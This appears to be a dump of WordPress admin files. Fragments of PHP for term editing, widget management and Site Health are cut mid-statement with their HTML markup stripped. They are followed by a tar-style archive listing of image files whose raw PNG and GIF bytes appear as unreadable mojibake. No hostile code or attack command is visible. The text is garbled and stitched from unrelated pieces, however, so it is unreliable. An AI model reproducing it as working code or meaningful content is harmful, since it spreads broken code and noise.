', esc_url( wp_validate_redirect( sanitize_url( $wp_http_referer ), admin_url( 'term.php?taxonomy=' . $taxonomy ) ) ), esc_html( $tax->labels->back_to_items ) ); } wp_admin_notice( $message, array( 'type' => $class, 'id' => 'message', 'paragraph_wrap' => false, ) ); } ?>
> name ) ) { $tag_name_value = esc_attr( $tag->name ); } ?> slug ) ? apply_filters( 'editable_slug', $tag->slug, $tag ) : ''; ?>
add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '

' . __( 'Widgets are independent sections of content that can be placed into any widgetized area provided by your theme (commonly called sidebars). To populate your sidebars/widget areas with individual widgets, drag and drop the title bars into the desired area. By default, only the first widget area is expanded. To populate additional widget areas, click on their title bars to expand them.' ) . '

' . __( 'The Available Widgets section contains all the widgets you can choose from. Once you drag a widget into a sidebar, it will open to allow you to configure its settings. When you are happy with the widget settings, click the Save button and the widget will go live on your site. If you click Delete, it will remove the widget.' ) . '

', ) ); get_current_screen()->add_help_tab( array( 'id' => 'removing-reusing', 'title' => __( 'Removing and Reusing' ), 'content' => '

' . __( 'If you want to remove the widget but save its setting for possible future use, just drag it into the Inactive Widgets area. You can add them back anytime from there. This is especially helpful when you switch to a theme with fewer or different widget areas.' ) . '

' . __( 'Widgets may be used multiple times. You can give each widget a title, to display on your site, but it’s not required.' ) . '

' . __( 'Enabling Accessibility Mode, via Screen Options, allows you to use Add and Edit buttons instead of using drag and drop.' ) . '

', ) ); get_current_screen()->add_help_tab( array( 'id' => 'missing-widgets', 'title' => __( 'Missing Widgets' ), 'content' => '

' . __( 'Many themes show some sidebar widgets by default until you edit your sidebars, but they are not automatically displayed in your sidebar management tool. After you make your first widget change, you can re-add the default widgets by adding them from the Available Widgets area.' ) . '

' . '

' . __( 'When changing themes, there is often some variation in the number and setup of widget areas/sidebars and sometimes these conflicts make the transition a bit less smooth. If you changed themes and seem to be missing widgets, scroll down on this screen to the Inactive Widgets area, where all of your widgets and their settings will have been saved.' ) . '

', ) ); get_current_screen()->set_help_sidebar( '

' . __( 'For more information:' ) . '

' . '

' . __( 'Documentation on Widgets' ) . '

' . '

' . __( 'Support forums' ) . '

' ); // These are the widgets grouped by sidebar. $sidebars_widgets = wp_get_sidebars_widgets(); if ( empty( $sidebars_widgets ) ) { $sidebars_widgets = wp_get_widget_defaults(); } foreach ( $sidebars_widgets as $sidebar_id => $widgets ) { if ( 'wp_inactive_widgets' === $sidebar_id ) { continue; } if ( ! is_registered_sidebar( $sidebar_id ) ) { if ( ! empty( $widgets ) ) { // Register the inactive_widgets area as sidebar. register_sidebar( array( 'name' => __( 'Inactive Sidebar (not used)' ), 'id' => $sidebar_id, 'class' => 'inactive-sidebar orphan-sidebar', 'description' => __( 'This sidebar is no longer available and does not show anywhere on your site. Remove each of the widgets below to fully remove this inactive sidebar.' ), 'before_widget' => '', 'after_widget' => '', 'before_title' => '', 'after_title' => '', ) ); } else { unset( $sidebars_widgets[ $sidebar_id ] ); } } } // Register the inactive_widgets area as sidebar. register_sidebar( array( 'name' => __( 'Inactive Widgets' ), 'id' => 'wp_inactive_widgets', 'class' => 'inactive-sidebar', 'description' => __( 'Drag widgets here to remove them from the sidebar but keep their settings.' ), 'before_widget' => '', 'after_widget' => '', 'before_title' => '', 'after_title' => '', ) ); retrieve_widgets(); // We're saving a widget without JS. if ( isset( $_POST['savewidget'] ) || isset( $_POST['removewidget'] ) ) { $widget_id = $_POST['widget-id']; check_admin_referer( "save-delete-widget-$widget_id" ); $number = isset( $_POST['multi_number'] ) ? (int) $_POST['multi_number'] : ''; if ( $number ) { foreach ( $_POST as $key => $val ) { if ( is_array( $val ) && preg_match( '/__i__|%i%/', key( $val ) ) ) { $_POST[ $key ] = array( $number => array_shift( $val ) ); break; } } } $sidebar_id = $_POST['sidebar']; $position = isset( $_POST[ $sidebar_id . '_position' ] ) ? (int) $_POST[ $sidebar_id . '_position' ] - 1 : 0; $id_base = $_POST['id_base']; $sidebar = $sidebars_widgets[ $sidebar_id ] ?? array(); // Delete. if ( isset( $_POST['removewidget'] ) && $_POST['removewidget'] ) { if ( ! in_array( $widget_id, $sidebar, true ) ) { wp_redirect( admin_url( 'widgets.php?error=0' ) ); exit; } $sidebar = array_diff( $sidebar, array( $widget_id ) ); $_POST = array( 'sidebar' => $sidebar_id, 'widget-' . $id_base => array(), 'the-widget-id' => $widget_id, 'delete_widget' => '1', ); /** * Fires immediately after a widget has been marked for deletion. * * @since 4.4.0 * * @param string $widget_id ID of the widget marked for deletion. * @param string $sidebar_id ID of the sidebar the widget was deleted from. * @param string $id_base ID base for the widget. */ do_action( 'delete_widget', $widget_id, $sidebar_id, $id_base ); } $_POST['widget-id'] = $sidebar; foreach ( (array) $wp_registered_widget_updates as $name => $control ) { if ( $name !== $id_base || ! is_callable( $control['callback'] ) ) { continue; } ob_start(); call_user_func_array( $control['callback'], $control['params'] ); ob_end_clean(); break; } $sidebars_widgets[ $sidebar_id ] = $sidebar; // Remove old position. if ( ! isset( $_POST['delete_widget'] ) ) { foreach ( $sidebars_widgets as $sidebar_widget_id => $sidebar_widget ) { if ( is_array( $sidebar_widget ) ) { $sidebars_widgets[ $sidebar_widget_id ] = array_diff( $sidebar_widget, array( $widget_id ) ); } } array_splice( $sidebars_widgets[ $sidebar_id ], $position, 0, $widget_id ); } wp_set_sidebars_widgets( $sidebars_widgets ); wp_redirect( admin_url( 'widgets.php?message=0' ) ); exit; } // Remove inactive widgets without JS. if ( isset( $_POST['removeinactivewidgets'] ) ) { check_admin_referer( 'remove-inactive-widgets', '_wpnonce_remove_inactive_widgets' ); if ( $_POST['removeinactivewidgets'] ) { foreach ( $sidebars_widgets['wp_inactive_widgets'] as $key => $widget_id ) { $pieces = explode( '-', $widget_id ); $multi_number = array_pop( $pieces ); $id_base = implode( '-', $pieces ); $widget = get_option( 'widget_' . $id_base ); unset( $widget[ $multi_number ] ); update_option( 'widget_' . $id_base, $widget ); unset( $sidebars_widgets['wp_inactive_widgets'][ $key ] ); } wp_set_sidebars_widgets( $sidebars_widgets ); } wp_redirect( admin_url( 'widgets.php?message=0' ) ); exit; } // Output the widget form without JS. if ( isset( $_GET['editwidget'] ) && $_GET['editwidget'] ) { $widget_id = $_GET['editwidget']; if ( isset( $_GET['addnew'] ) ) { // Default to the first sidebar. $keys = array_keys( $wp_registered_sidebars ); $sidebar = reset( $keys ); if ( isset( $_GET['base'] ) && isset( $_GET['num'] ) ) { // Multi-widget. // Copy minimal info from an existing instance of this widget to a new instance. foreach ( $wp_registered_widget_controls as $control ) { if ( $_GET['base'] === $control['id_base'] ) { $control_callback = $control['callback']; $multi_number = (int) $_GET['num']; $control['params'][0]['number'] = -1; $control['id'] = $control['id_base'] . '-' . $multi_number; $widget_id = $control['id']; $wp_registered_widget_controls[ $control['id'] ] = $control; break; } } } } if ( isset( $wp_registered_widget_controls[ $widget_id ] ) && ! isset( $control ) ) { $control = $wp_registered_widget_controls[ $widget_id ]; $control_callback = $control['callback']; } elseif ( ! isset( $wp_registered_widget_controls[ $widget_id ] ) && isset( $wp_registered_widgets[ $widget_id ] ) ) { $name = esc_html( strip_tags( $wp_registered_widgets[ $widget_id ]['name'] ) ); } if ( ! isset( $name ) ) { $name = esc_html( strip_tags( $control['name'] ) ); } if ( ! isset( $sidebar ) ) { $sidebar = $_GET['sidebar'] ?? 'wp_inactive_widgets'; } if ( ! isset( $multi_number ) ) { $multi_number = $control['params'][0]['number'] ?? ''; } $id_base = $control['id_base'] ?? $control['id']; // Show the widget form. $width = ' style="width:' . max( $control['width'], 350 ) . 'px"'; $key = isset( $_GET['key'] ) ? (int) $_GET['key'] : 0; require_once ABSPATH . 'wp-admin/admin-header.php'; ?>

>

' . __( 'There are no options for this widget.' ) . "

\n"; } ?>

$sidebar_data ) { echo "\t\t\n"; } ?>
"; if ( 'wp_inactive_widgets' === $sidebar_name || str_starts_with( $sidebar_name, 'orphaned_widgets' ) ) { echo ' '; } else { if ( ! isset( $sidebars_widgets[ $sidebar_name ] ) || ! is_array( $sidebars_widgets[ $sidebar_name ] ) ) { $widget_count = 1; $sidebars_widgets[ $sidebar_name ] = array(); } else { $widget_count = count( $sidebars_widgets[ $sidebar_name ] ); if ( isset( $_GET['addnew'] ) || ! in_array( $widget_id, $sidebars_widgets[ $sidebar_name ], true ) ) { ++$widget_count; } } $selected = ''; echo "\t\t\n"; } echo "
|

%2$s', esc_url( add_query_arg( array( array( 'autofocus' => array( 'panel' => 'widgets' ) ), 'return' => urlencode( remove_query_arg( wp_removable_query_args(), wp_unslash( $_SERVER['REQUEST_URI'] ) ) ), ), admin_url( 'customize.php' ) ) ), __( 'Manage with Live Preview' ) ); } $nonce = wp_create_nonce( 'widgets-access' ); ?>
'message', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } if ( isset( $_GET['error'] ) && isset( $errors[ $_GET['error'] ] ) ) { wp_admin_notice( $errors[ $_GET['error'] ], array( 'id' => 'message', 'additional_classes' => array( 'error' ), 'dismissible' => true, ) ); } /** * Fires before the Widgets administration page content loads. * * @since 3.0.0 */ do_action( 'widgets_admin_page' ); ?>


$registered_sidebar ) { if ( str_contains( $registered_sidebar['class'], 'inactive-sidebar' ) || str_starts_with( $sidebar, 'orphaned_widgets' ) ) { $wrap_class = 'widgets-holder-wrap'; if ( ! empty( $registered_sidebar['class'] ) ) { $wrap_class .= ' ' . $registered_sidebar['class']; } $is_inactive_widgets = 'wp_inactive_widgets' === $registered_sidebar['id']; ?>

'inactive-widgets-control-remove' ); if ( empty( $sidebars_widgets['wp_inactive_widgets'] ) ) { $attributes['disabled'] = ''; } submit_button( __( 'Clear Inactive Widgets' ), 'delete', 'removeinactivewidgets', false, $attributes ); ?>

1 ) { $split = (int) ceil( $sidebars_count / 2 ); } else { $single_sidebar_class = ' single-sidebar'; } ?>

'error', 'additional_classes' => array( 'hide-if-js' ), ) ); ?>

Site Health Status page.' ), esc_url( admin_url( 'site-health.php' ) ) ); ?>

$details ) { if ( ! isset( $details['fields'] ) || empty( $details['fields'] ) ) { continue; } ?>

images/menu-vs.png000064400000011736152506513310010122 0ustar00‰PNG  IHDR†@)˜ ÊPLTELiqS€˜4BXIœ,<6%$l…Z­YV3;PGQŠª*=SQŠªIœE3&D52H|˜=1$1=9%MMLG,RŒ­Iœ4:Pv’ŽjAq‹8/bªSŠ©N##@n‡~w`T+I"IIfš¶WH==ŽÀÁ˜z‚':QµÏݲ³z§À¿ž¼ŽµÊèÝçëÏÕ8"!–ÎÎYz?»ÌðÞÏÜ­Ââw©©úñð¥]m“²xˆ‘¢Å™­Íîçí¾¢M7LaõìÇ©Ýà„˜´Ì­QæææþÝrÐÄ{ÞÁ›4H2¬§ÏÁÐáãÊV²\k•º×ÙÏΕàÚÁ¦´ÚŸ‘·¥´õÈÈO^ˆ>>?èë¦uRj{OOFFGí¾¾Ÿ“ŠaC^”œÕëùòÚå|Ž®å¸Q~?p™°Ä³Â¼¶”ËʰIJ+ˆk…²ØÛ‘ÊËŸ¯Ôfˆ“íØ‚ª’GàÙ“Ìvñpw¢ºñ±‡Ú›6Ÿ‚]qhIüû´´Êåf]Ç“pß¹sÏÿ©N`u»…/Òξ`‘ÀÿÞ|JN]ZdbxðC‹btRNS>æ* 3 O€A*þl섨¬K?û=J8_ŸÃØûñ’ÃqÍÒÕþ(½î÷‚Ñéï,Wû”éøæýü÷Jü¯çµº—™æêŹh\_ÙæÜµýŸúIûc×É®³ŒxtÌÙèmZ¸+IDATxÚì›{PSW€/(:¼„@x ¸Ð òp€edÄ £Œ ¬«nu¶såÁ ã"T^» ƒ–)´! &€âJE^¢¼¤<EEÝjµ­ÝîΞ{î97ŽÎN§s¿?n2œÜ“sÏw~çüÎÉ€a fe±m›…Õ¯_¯'ÃÌÍ'ÄÙ–ò–mønë6ylZçFSEr²¶/°á*^6ó~‡"¡†"T©—Dâb.Ñ¢ag† Pÿ½€ š›ÍÌ´4L×,0ÐL—æquum´ ÉÐÐ¥:k#ü×êP LÛð·´™B7r½Ïåääœóæ¢-œ?¯ÅƒO©|ýZÑl•ˆD"í„sÍ" ]îuà÷ÐØ>E˜×À€¥0zï¢i,¡=pœ9˜Y¿XÜ*goiçrÛC6°ÑÕº¸º¾è,-½îOÓ)ÿœO  ÞòrÔä=ðvCZøúëóÉEt!a1ÚÌð¦—TÁA"Q™HM]$¤åþ;†Ðàso/–ÜsAÌKl~E…Fçöm¤!{tìsëÑ‚[Z‚±ÀÌÁÁÌ@T(´+fÂÃgíè€-|ÜØø¼³th¨ôúZІ ó4¬«Ë;9G^Ý:¤…‹œFƒéÃÊm6X“‚ªA„×÷Ô“à"šHt’3RÇT±¤wEÌK>ÎvÖVsrRº}ƒ4LO·F7LOOGGOOÓj©®Fzæç ±Í™€Íp,Ø`Ž io¯TáˆÙ âÁXxa})ßß?¿Ôš¢aß|þK½sÓÉ“§æ8yrÒŽ´šÒgx¼æQ HÃÞž½µÙ¢ìZ´†‚Éa ö’r|¨¨BÌKæ`ÖÎzeO¾Giɪ¢d²h–Ñh°ÊÌD{ £a³kØÐîøI—Ðõ‰cûDµë¯\yaOÕÿàÜQ’x(¼ó¾|Kž7ÒBFá­Á«Iñ²r^¢EøHÏHßðÈp.ºví¬avVX¤ÖÀŸt½ƒOášy &ë¹3­†î ÝÝwîv£4˜™Ù•eŠÅ²ˆõðJçÜÝíl(Ó’c—¢KªloWJÁGT4 Wž?þÓB”|õãs¤ÀÑpȩ̂ h -´9Ò†ô2U^“⪦×yÐd)«[«E###"\ôä ¬¡~rRXŸ›Û ÖàéZîOx æ%IRŸ|­¨€5´¶ ÄånU+Bƒ™,w¤º,Sæá[p .ž-¶ï„—h›v•TÚbcÒ,•ªPËCè8ÐÐh <´DP—è›D4œ9úwÀÑ›‹ºœssäÔY ,”ü|ãÆÏ% S}HZ0å!¶ ¤†¾‹#i¢¡ôÑ#aý%Xƒ¹9éÌKJÃ÷ÄË®]†ž ¡\£'zêç7*WuÍ8¢VèÆõD»¶©pŠ^æ”ópÝF79##£ðÛo Á JÆSŽZÐÜj¨Abˆ¡4|wõª°Tƒ²ð¤¸£Ø•oïESyÖ¿Ô^¾Dh¨ÊήZ‘ìjìÙ˜¶!‹?œ©a˜OIX{CTr€*ıw¼·%ÞÙ#4\&÷êLé2R½m,šMM*•öÃ$Îöí×Ôh›49Iw¦,ØñÍ=éëÓ PÀ¾˜¤Á3Ìî']›3Ũ;86ä¬r??9ÈV¹Ðö Xx¬Î¢QLï_~Ë}Ô âDoA­al ¥Á×,—7ól´>“ïõë¾ê ¼[ÍÔÒòô©ä¯þÓ’…e„…wôÕœ†ôôÊ÷:Sbïð|×£Ù«2RDfÙ+(gåöÎ(ÃÕ3½ˆ: pÌU]9jRâšÎ;a5…n7Ðgí°³dé ZdÄJÔˆW–uÛ`š²ÝŽeh¨¯odd°”ÍFœIú>y⫾¼Ç骕ÄÌ’EÔK[íœ^3q õ'¬œ€‡ãéI[1‘ðl•‰oÝ˶ÂÙ{—c/—Ûë¸ q”±Ôõ±f!Ûùô¤ÁÀHßÐeiiI>—Áÿù˜=À×7@}¡Ö×'W}ý÷­’½ÔHŸÅ¯ ³³³³475…VP1‹x^KBåûÖ®»ÔÈe·#¬¦&l‡¥¡ÑRÝ…+èK;ËŽèHª]6Ç™Eü|j§µµû·ó[h‘fÖÿ-5‹a>:Ëôô–éüúõÚc˜{Ò邏Œ?ˆ}ËÆð–lY½›`õ–%4U,^¬µ·–§ï9·üxHŒÒˆ*]kâžtšþöÅ K‚4}¸{ÒÜìà ¥aºîzzî4¿ÍÙêêÚj’7êè¬Y½z µ;ôâçýC¼ü´+ScȲ˜Ô•‹Ð©ÅƒÎò³©‰‰ qË Ð Ú5DÍ5+ Qh²;þài´öG+‚DÁ1¶()É„ú­øhšàpø°ͨCÕýȾ}GÜQßl²â™±ñ³&4?b9üQ ˆ]—·š2¦c÷Ì'Š…•ÒbÒ¬\‚´€ã‘@E$ú›—H׳ţ®‚G%®eD’‘vüpú‰éi ؽOO: :Ù:àÙ@‚Fƒ±@` iˆ›†qíA/ U½= {ôP’>?tvÍš³‡ž#kÝ(H‹K<‹;†Ÿ]CÑpd>†-qoÄmAZHOÇ##q «>¿±ÂØ6êÓUPwÄ'õÆ »‚ˆ„¨´OI6ÆÆÿ Xˆ‰4qH¢v×G1f ““’@Å`Zjª`|jêgû÷–Z@§!ßwøcDA,ŽÇª‡n, ÆØŠCÿkßlZÛFÂ8ngÕºuâȇxY–ÀºØ`B ¾ÄãâC`»Å—¥äÐC # Y/ˆ‘²œA’|±nƾꌿ‰¿C.þý ;#%}ÑŒRrêüGŒsˆÆÒüæyüÜ]\Üùg¹#–=ôxÇ1E`Ð/Rózß‹š›“<íAžÄ1)|eb¨™Š}É…³ …Á ={-¬m6†>—á*ôÃpIc¨ =`EØSF…Ü!öÚòê*þ›¶QAŸL¦c-ŠÆŒ#áý܉€ËâÀ¹.—º¹4†ò—³s´¸»[ ó³/eÆ´'º%°( ö'u‹FÜ^¢ÉƒÐ²Í¤ („CQ6@´Ý̨-%T‚ ˜˜Ø7‰ÔjˆKUï ‘¡ $€ØÄ~‰–<ý˜…ú>ÆàûcIûP`Eçúf⨡mVéHW]¯«ynä8#zK6|-TÓTÈ÷,kÑ$ n Ê))&¦“…“ܯŽÔ¥¬!¦AD822Õ¦à›ÛMÊ`‡6q=±ä7¢®ªš:Su Ci m‡µñ†¬ÄAæÏâÏí–Æ iÆSá¯)€r‚f“¦PÂYŸ2«ý»†pM…裳X¬ª§§ÕÕbáìáá½é£I(ª0B´‰5D •®øD+V4y05œ©nLLA®±Ê¸¡kª@5ãHMcÀÖ 'ÁƒÆ 󣘃e{ÈÊå°K>^[Vzµi4ÂFdÔG¡7ІÖ=f¾1#i«·^se*c-¾u]ü¦ùîÂyËÚõëVýLrzA†ŠK”…¡Ôv¥ékãHn»”Æp Ü{Û†|Í ¦ÀNs0 'ŽiaÂqZhÑàyqé„¡:Šh§ÔÔ¼„RæôrÇfk6³( ±ìë0…!ל×i²ó !9ð%Éé¥,V¾a¨0«بS.åÞjt žÄ; C®Ø¾5boÕv‘ Bä~41ÒÆPQ]îÒž˜µ\~ËÝikðHlÐcÑæ+C!<[`††œì& ¤0@ƒgÃ00ƒá”Ά˜²1Ô×®«ä±V–SÊ糜RO­IBq <”)? Þ?ãV…Q5 ÛhÚÀ¶t0lÁíéÑå6h±1œÿPÉÒpné9¡C'¬'sžpˆ†Ã:{vy”`0 $ÁBüR:d`¸’Ïš&#:'Þ½ÚjFâ+ 3µúÈ|·Ë/"õÚqš$=÷ ¼ƒÁÀÃi=«Ð†G0xƒN9gUaßY8Ž=ûìåð¸ÀÂ`ck77øº¡0œÌÁœ·WÛf¥˜ñ\²”`P ƒ®§„w³<ÆõÅ×òU!×Ë @úªè¡ŽB©ÿ*ïúÕˆ$¬Qµ¿£¬´P_+æûØlæ IœdJ‰!›Æ!Á¡”ÆPQ¡(úèñä£FCH†4ç³Î”LádÞ”KÙóÊz‚AÓ( 7?(ýÅ¥ÝõONºÚ_ )/•¿й¾gYw~?W¤Ê·ú|Ä÷îkmçëßä³*ôq6…Ü@Òu‚a¹¤0”jª$9µÓGß)9Ðè³,Ñ÷}uµ™Î;Ÿ?¥ûLá'k%ƒB֓Δ>–~vàøz R¾)pJå¬ÅR+튬 Jé$‹ÁrJEî»VŽºýù³ßNéoË"7Z– ¦ûò•Ö›¿¼¿!.Jãá)§«Ì¿ÃúüéúÇRþ Û)qŽÃ=é„õ(iœx†Ÿ÷8«¿¡|1éúhvQfíõ»Åb·Ï:Ú+t¼Êá R~mûNç]2¤ô9ž?uÊB¾ôáº1æ>^]}:lµŠŒ˜ô2îH6ÇÓ&OúN^½yóê„ÝßðÏ |1úr…?{Ü÷7ÔEñÕHpPÈÇÊÚx{íµ×^{íµ×^{íµ×¯ÕV•»½:øµ IEND®B`‚images/about-header-get-involved.svg000064400000001772152506513310013503 0ustar00images/media-button-music.gif000064400000000316152506513310012207 0ustar00GIF89a ôÌÌÌêêê———¯¯¯±±±ûûûôôô×××yyy´´´ƒƒƒÊÊʧ§§³³³ÒÒÒYYY¿¿¿ªªª‰‰‰ùùùáááìììËËËæææ†††ÏÏÏ€€€ÿÿÿ™™™•••!ù, @Kà'~v‰Ômá Š(h†–ß–m›Ò5ÜÆT,9!N´™\8—Ûç€ 4Bž–§,ÁÑæ€¡ˆ•ŸÖ‹1«yDNÎ"Cµb—Ÿ;images/loading.gif000064400000002530152506513310010116 0ustar00GIF89aõ ÿÿÿÆÆÆ¥¥¥÷÷÷ÖÖÖçççÎÎν½½­­­ïïïµµµ<<<ÞÞÞ˜˜˜ooo...>>>‹‹‹kkk@@@%%%dddsss===???:::}}}”””999ggg555///vvvAAA!ÿ NETSCAPE2.0ÿÿ!ù ,@–À…p*HÅ¡Pài6”„B8H¤Ã€ä1(ˆAá;X4 ‹‚€àU B2="-<£…A€†îçBoCaP JhƒŽ$ox” OCh #x{ bE $ueD… hŠžJ…Ÿ€f}D_… Z`¯¨S’ P”BV¨sA!ù, A Ž€‘dÖ™&jǘdg PZ &@·ÍéF1°€˜†(˜(¤ABA"ÄP"ÃA¡(`E¢û%%Ve€Y!ù ,> #Žˆ7ž£W0ËÂ$.Ê ŒçzŸÌ a3ŸXƒ¡j‡†‘#|>‰ÄA 8‹§ *d ÓèHÈ bF!ù , <à".‡0ž‰" Ý2tÆ8 *»\<6&â4Ç©A ‡V€ÃŒ§ópª:LÕlÇá@dE@&ç»@PE!!ù , CÀÁÀp…‰A!ŒÅ€` €4Ž i¢8 ex…”Äp ºmty|†”ÔgE ¸O½i%mEA!ù, [ð=s€¼/½€ÀPÍulÈ$—Ðp‰`'ÁcØøÝp>QÁä; }ˆ ô­‚€À)¦¢@ ;images/menu.png000064400000011657152506513310007476 0ustar00‰PNG  IHDR†@)˜ ÊPLTELiq" <58sssqpm ttt tsqxxv0?b………srnxxxˆ‡…);R.=Qlll<ooo<3$nnnttt~x`)*ìm…5Ÿ¸KXû«m*„RR’ÿûG€UìéÝÃÔÓ•ÏÃûö¢¼¼æÕdýaïç÷×ä—êïÕæžµƒVÙ–e¶òtÁ—ã•Ðõþ¬³ ìIDATxÚì›kPIÀ'HAˆADå½€€< yJÀáâÕYžûáj”‡ T¢ˆÀx@Ñ2 ‚V . ¨€(. "( ºø<Ÿ«žëº···wû¨ºžIPœî‰…µuå‡ù}R¶Óô̯ÿÿwÆÀÀÀÀÀÀÀÀÀÀ€aæÖ|¾µùoß/›…aË—hOk¢«kò>·¥¿!уmÄj_‚Õ¶4]ˆÅZ¿_Ö5,㿇‡mB ÛP­.R©Ír© åbXI õ_Þ"€æf -Óµ µÐE4p¢zLLz¢84w…„è뛺¹™êS\3ð7d¸B7:ø^É?DÅ×máèQ-ÌùÓÓ*Õ°Ìj‘H$Ú5g†%D4Ú\jÇ/¡-p¼ÝsssKVæb.%%.”Æ„¸·H ±p÷.ÚËÓ“…Yôvvö¢ÚMzº”ë×+»zhbMØÈH÷Ý3çܼݒþ—Ù¤C±à»çÐx>Áø¡=¾¶H _|qTü ]HXËd| k¦ H^HÔÐE‚¨.c§£ãNBƒ7°P&½dƒÈKB‚ZƒII‰ ¤áà,è4X^/þé!²©) ½QXx#Öo‚EuÕ¨T5]Q˜ *BF^µ´tœ©Øµ«âœ)ECýl WÆwÏ0~%iáøqà§ÑàúkHu]T ü+ǯHp M$EgH\¤í/ˤex7"/y°84I)!îòå[ÄårBÂåË´ò&'‘„çÏ 1ñ ü¼=Që5Åú¨TæðîZ]mëèh«°¢h8¡&“¤‘zçêüÝûfØ¿iÇZ %Ÿ/ƒ’’»×ÿ³äç~´Ñõvá¦:Ǻ3uu›` –ÒüyP…ÈK kñ&?£4öˆFƒý³ÛOûûQÈhwàçRt)jzzjÀ‡(D·a-ÍÍw­ÚŽÎCþøüS’P4øŽïyø/ÒBe%á­Á¥qøßÓUõp‰–àyƒy}·ònõáB ›ÚÛ…ÅçHŠa >Ï»Oá/qM^‚)ø§'­†‡†‡ÇââÆ¢4XXX>{zûvgëßÃ%Ösï^O£ÐÒk×JCáÂ0PS#ó71ñ—Õˆòà 44w4P“Òã/üñK†Çép4ì;0Ã>(H µOžÔ"=+U`AÙ¨ªçCƒ’à“ƒ“’¼¼< .ùåXCñõëÂâ: ;ë` ¶Ý „"/I]Üi5 Vß'/÷«,Z¯çõ?½Ýº.¶`YváBY¤eoQ¢D;øÈ'Àt3Ÿø; kÐÐbÕ ,X-€4|úWBƒõÉüÏgÈ?i°PþPŽðVªõ¤ä¶A‚¿|¡%*îÝÿƒÖ°¼£ôòR»”‹Ô°ŽÌO%%†‹†‹àš0u¡Á½µx²ÿé3wdÉ€÷н{Cmtç¬ÁûUsËÍnïy÷Ú:¨ ÖôÇäL§ÓVJù'IäC+%1° ?.ö ¬T•U `Á™­€†[/JûÄ}¥¸„ËEhÑPQ8ó²ÒàÓ~JíáeÃ%d÷ÿ- ¾TÕ×WA¦ªûúª§¦¦ªÇj§PI)¼u²ÿ6Òy¡¡½ýAXïµ¢¢k½îF”i§š–Ëeþææþ2¹|Z'¥›£Ía!æ˜iS›µ-ý,Qö¨5œM‡“»Ó•ü=ê}ƒôÄâÊòò#€òòJаR¥Y9ÐèŠÑhÀS4ÛP¢a WA4T\%5¬,;EzhhG—†×jj` µ}8ÞW[[[}-B'|¨•&0óçÃZ IZÝu©%Z¡”Ë&&dr¥U¢=[Fo®_­î¡4µ^fÛx(ÿk'''_kÄ®ÔðÓO¤êIÞòRÕ¯4$¯ @jx@FÃ9°K)éá¹Têî½à_j r9BÃqq?~ˆCi° ¿ƒ¨Îê íùçÞ"µ†¢^ʰQù+å¥Ê¥¡%ŒØNÌCFQöÑkÀœò¿Ž ÛèŠ+++|ûíð¥ãO#¶Ïj¸ÈÜkøîØ1a…!dá;iY{Y·¥ ¦]Ãð0¬!§úàÁꜜœ[ãr` öC–ÌÆLjˋ pä¥hhû¤OLÈAˆíÇûæèHñɸ ¥Ü¨WJh ô€†Ó§ §OC¬eÃJ¥öÃ$–O®úm“< ;Sr,Wú,·¥ï·à?j ]]°†¼Y@lÃmÞqÒ%.*ÕP­ TŠiÿi… Q …WêU4JƒëÙÝo8‹Ê N˜v ££( ¶|P©d|íÇ'Nª/T mmm÷šCüÓ(‹;ÂÂ;ÞÕŒ…¢jNgJœhÛw8zÜ),*íì,-*¼ãÍx› •ƒƒ*Èq”á22¦î•”\g°ºBuؼè`{[5"žøo¯ó ¨Û×t{‹Ëfép8ˆ3ÉÀï¿T_æpºª/µpæñ¸\úng’Ÿ<Кà +˞Ŷ¥í˜(ëZK K[×y@)Ë€Í f±‚ÁÈŒ :a75…Ìî9¬¸•Ås¶w&Þ—ÑÿùtÞ90ÐY}¡f«+›=×.9:lžÏOp°½s°«+T=Øl.ç ˜P9×Þuu ¸¼àèð¡¡ðh{®ŽîÆÅòd± €]ƒO¬¬t8ÎHÀôÑÔi¶Ñ4,†Ùè›êéA¿Hþ°ÈÃìR?´§]¤«»è=n3žÿ†yÆðXàç¶ÀÍoMóçk—aJæÆ$Ã÷ð«! Õº4>~¡]jýíó– iZ¼á-Óܼl™–éÚééÙ¡~âc¶Ö+{É’l¯µftSráR}}?77?êëÐKœõ÷ ‰zÐKV¤%“mÉi+– 7&F‹}ô´¬¬ä$S¨¼íbg†‹h\¸!qkÚ‚ÙÇ«‚]»¶°¥©©k©ß š!,Û¾}ͬSÕ.;33ÛÕš“±xqFN¶1M·+w âW$%''Qÿ¾!þ­¿oˆ‡baEŽhs2ÁfQΊH 8TÄ ¿³éνExìFCxVâZf$ ¢”í)ŽŽ)"„†6dâ)© Á£Q'¼ Ñ`,C’fA§áß¾Õ —¦ªÞÆÍ›7Â3ÖÌóJܳ5Ñ 3FÅÃRAJRRV~ø0žAyèøìÙ@ü’D¯‰’üRRð˜œFƒááÏV/ŠÝo½ŽäRo2òU‘+JLLÜŸ¸¡ai|â`!ù³…ËR©ÓöãÅÆf‚¬ùdR ¥¥ ¶%¦¥mÙ¶mKšˆNC2ž‰ôãñê© ½*lm¶×ª[;Vye¯EÜü;Gþ×¾¼¶Da\M"wWkoí55iZì’K ¡e!C!ДRh #YXH ÇÒ ÂÂ¶Žºß…Où[wFJº[Í8!§íÁaœC4Vô›yß›‡žes öÛÚ¼¨’É…„¹Uh:÷2¡*¥À_ƒÜŽ!Ë‹Sã¶€aT¬ŒU!Ç0Õ±eã&Û"†ö8a‘2((/XÔôëòwqv’„'I&L[Žá¯[š_ÆAõ}Uû„ø"†3ß'ÈË2ß?“L{I“„c`0äk&oTJD¬MIt/2Õ¤L“sc8ÎHÖ,X´Rœ/ÌËØ$`°=ϲ«](Á0LF6e\„GÛ0¸„0 „L œ×¹ó`QYStºæjÕl¨)¥©°$[EhÖ<Ú©Ãyr'ZËó Þ™6;SW+µ·/bðÌ ƒéI1 6>]ă£dõ2Î}®mºÚ†\ —Z·ŽÿN€Ö044’¬sFáX­ áˆÎcFÂØ{.b@ºnÙc/MD CǬ8ÜN$%†ãXÀó}ÀbÃK0(Ã[àÓ¡ÜèL‡ç`A $‹³Ú£lžiêÍÆË¦nš^ ¥Þ¢ˆ.z/•£¥˜‚Mî E…Á}çX£°Œf®§‹Ö£ˆG³(‚õÍÐö|õÔ‰2MÙ‚á{ƒ4(™”ZS»”˜)…:,9 ÂZƒø×1 nÎ,)aÃþÕxBéfP+ßv×zu[úYm?ÜD$1õ8ÖÍ„D7kðÒO(N] Ľ!¯0ˆ™ÃÀeëg¢µ%»‹bä8£¢€u3Ôàú°uº^lÁpôÃIVÄ2o`¹¥I11¼ª8$ãñ@>{V0¸.7g×eÿ”íJ,ú:»Î%î\-ʦ¦-àæµ%Ð 